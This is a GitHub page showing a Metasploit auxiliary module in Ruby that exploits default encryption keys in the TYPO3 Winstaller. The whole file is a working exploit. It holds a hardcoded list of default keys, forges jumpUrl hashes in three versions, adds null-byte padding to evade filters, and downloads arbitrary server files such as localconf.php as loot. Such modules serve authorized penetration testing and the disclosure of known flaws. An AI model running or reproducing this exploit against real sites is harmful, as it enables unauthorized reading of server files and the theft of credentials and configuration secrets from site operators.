-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
typo3_winstaller_default_enc_keys.rb
197 lines (182 loc) · 8.04 KB
/
typo3_winstaller_default_enc_keys.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'TYPO3 Winstaller Default Encryption Keys',
'Description' => %q{
This module exploits known default encryption keys found in the TYPO3 Winstaller.
This flaw allows for file disclosure in the jumpUrl mechanism. This issue can be
used to read any file that the web server user account has access to view.
The method used to create the juhash (short MD5 hash) was altered in later versions
of Typo3. Use the show actions command to display and select the version of TYPO3 in
use (defaults to the older method of juhash creation).
},
'References' => [
['URL', 'http://typo3winstaller.sourceforge.net/'],
],
'Author' => [ 'Chris John Riley' ],
'License' => MSF_LICENSE,
'Actions' => [
[
'Short_MD5',
{
'Description' => 'TYPO3 4.1.13 (or earlier), 4.2.12 (or earlier), 4.3.3 (or earlier), or 4.4.0'
}
],
[
'MIME',
{
'Description' => 'TYPO3 4.1.14 (or later), 4.2.13 - 4.2.14, 4.3.4 - 4.3.6, or 4.4.1 - 4.4.3'
}
],
[
'HMAC_SHA1',
{
'Description' => 'TYPO3 4.2.15 (or later), 4.3.7 (or later), 4.4.4 (or later), 4.5.0 (or later)'
}
]
],
'DefaultAction' => 'Short_MD5'
)
register_options(
[
Opt::RPORT(8503),
OptString.new('URI', [true, 'TYPO3 Path', '/']),
OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']),
OptString.new('ENC_KEY', [false, 'Encryption key if known', '']),
]
)
end
def run
# Add padding to bypass TYPO3 security filters
#
# Null byte fixed in PHP 5.3.4
#
case datastore['RFILE']
when nil
# Nothing
when /localconf\.php$/i
jumpurl = "#{datastore['RFILE']}%00/."
jumpurl_len = jumpurl.length - 2 # Account for difference in length with null byte
jumpurl_enc = jumpurl.sub('%00', "\00") # Replace %00 with \00 to correct null byte format
print_status("Adding padding to end of #{datastore['RFILE']} to avoid TYPO3 security filters")
when %r{^\.\.(/|\\)}i
print_error('Directory traversal detected... you might want to start that with a /.. or \\..')
else
jumpurl_len = datastore['RFILE'].length
jumpurl = datastore['RFILE'].to_s
jumpurl_enc = datastore['RFILE'].to_s
end
case action.name
when 'Short_MD5'
print_status('Performing downloading using Short_MD5 style juHash creation - see show actions for more details')
when 'MIME'
print_status('Performing downloading using MIME style juHash creation - see show actions for more details')
when 'HMAC_SHA1'
print_status('Performing downloading using HMAC_SHA1 style juHash creation - see show actions for more details')
end
print_status("Establishing a connection to #{rhost}:#{rport}")
print_status("Trying to retrieve #{datastore['RFILE']}")
if datastore['ENC_KEY'] != ''
encryption_keys = [datastore['ENC_KEY']]
print_status('Using provided Encryption Key')
else
print_status('Rotating through known encryption keys')
encryption_keys = [
# TYPO3 4.3.x - 4.4.x
'd696ab49a803d7816021cb1768a6917d',
'47d1e990583c9c67424d369f3414728e6793d9dc2ae3429d488a7374bc85d2a0b19b62de67d46a6079a75f10934288d3',
'7b13b2203029ed80337f27127a9f1d28c2597f4c08c9a07b782b674731ecf5328c4d900851957899acdc6d4f911bf8b7',
# TYPO3 4.4.7+
'fbbdebd9091d914b3cd523485afe7b03e6006ade4125e4cf4c46195b3cecbb9ae0fe0f7b5a9e72ea2ac5f17b66f5abc7',
# TYPO3 4.5.0
'def76f1d8139304b7edea83b5f40201088ba70b20feabd8b2a647c4e71774b7b0e4086e4039abaf5d4f6a521f922e8a2',
'bac0112e14971f00431639342415ff22c3c3bf270f94175b8741c0fa95df244afb61e483c2facf63cffc320ed61f2731',
# TYPO3 4.5.2
'14b1225e2c277d55f54d18665791f114f4244f381113094e2a19dfb680335d842e10460995eb653d105a562a5415d9c7',
# TYPO3 4.5.3
'5d4eede80d5cec8df159fd869ec6d4041cd2fc0136896458735f8081d4df5c22bbb0665ddac56056023e01fbd4ab5283',
# TYPO3 4.5.4 - 4.5.7
'b2aae63def4c512ce8f4386e57b8a48b40312de30775535cbff60a6eab356809a0b596edaad49c725d9963d93aa2ffae',
]
end
counter = 0
encryption_keys.each do |enc_key|
counter += 1
locationData = Rex::Text.rand_text_numeric(1) + '::' + Rex::Text.rand_text_numeric(2)
case action.name
when 'Short_MD5'
juarray = "a:3:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\""
juarray << ";i:2;s:#{enc_key.length}:\"#{enc_key}\";}"
juhash = Digest::MD5.hexdigest(juarray)
juhash = juhash[0..9] # shortMD5 value for use as juhash
when 'MIME'
juarray = "a:4:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;s:0:\"\""
juarray << ";i:3;s:#{enc_key.length}:\"#{enc_key}\";}"
juhash = Digest::MD5.hexdigest(juarray)
juhash = juhash[0..9] # shortMD5 value for use as juhash
when 'HMAC_SHA1'
juarray = "a:3:{i:0;s:#{jumpurl_len}:\"#{jumpurl_enc}\""
juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;"
juarray << 's:0:"";}'
juhash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), enc_key, juarray)
end
file_uri = "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}"
file_uri = file_uri.sub('//', '/') # Prevent double // from appearing in uri
vprint_status("Checking Encryption Key [#{counter}/#{encryption_keys.length}]: #{enc_key}")
begin
file = send_request_raw({
'uri' => file_uri,
'method' => 'GET',
'headers' =>
{
'Connection' => 'Close'
}
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error(e.message)
return
rescue ::Timeout::Error, ::Errno::EPIPE => e
print_error(e.message)
return
end
case file.headers['Content-Type']
when 'text/html'
case file.body
when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
print_error("File #{datastore['RFILE']} does not exist.")
print_good("Discovered encryption key : #{enc_key}")
return
when 'jumpurl Secure: locationData, ' + locationData + ', was not accessible.'
print_error("File #{datastore['RFILE']} is not accessible.")
print_good("Discovered encryption key : #{enc_key}")
return
when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
print_good("Discovered encryption key : #{enc_key}")
return
end
when 'application/octet-stream'
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
print_good("Discovered encryption key : #{enc_key}")
print_good('Writing local file ' + File.basename(datastore['RFILE'].downcase) + ' to loot')
store_loot('typo3_' + File.basename(datastore['RFILE'].downcase), 'text/xml', addr, file.body, 'typo3_' + File.basename(datastore['RFILE'].downcase), 'Typo3_winstaller')
return
else
if datastore['ENC_KEY'] != ''
print_error('Encryption Key specified is not correct')
return
end
end
end
print_error("#{rhost}:#{rport} [Typo3] Failed to retrieve file #{datastore['RFILE']}")
print_error("Maybe try checking the ACTIONS - Currently using #{action.name}")
end
end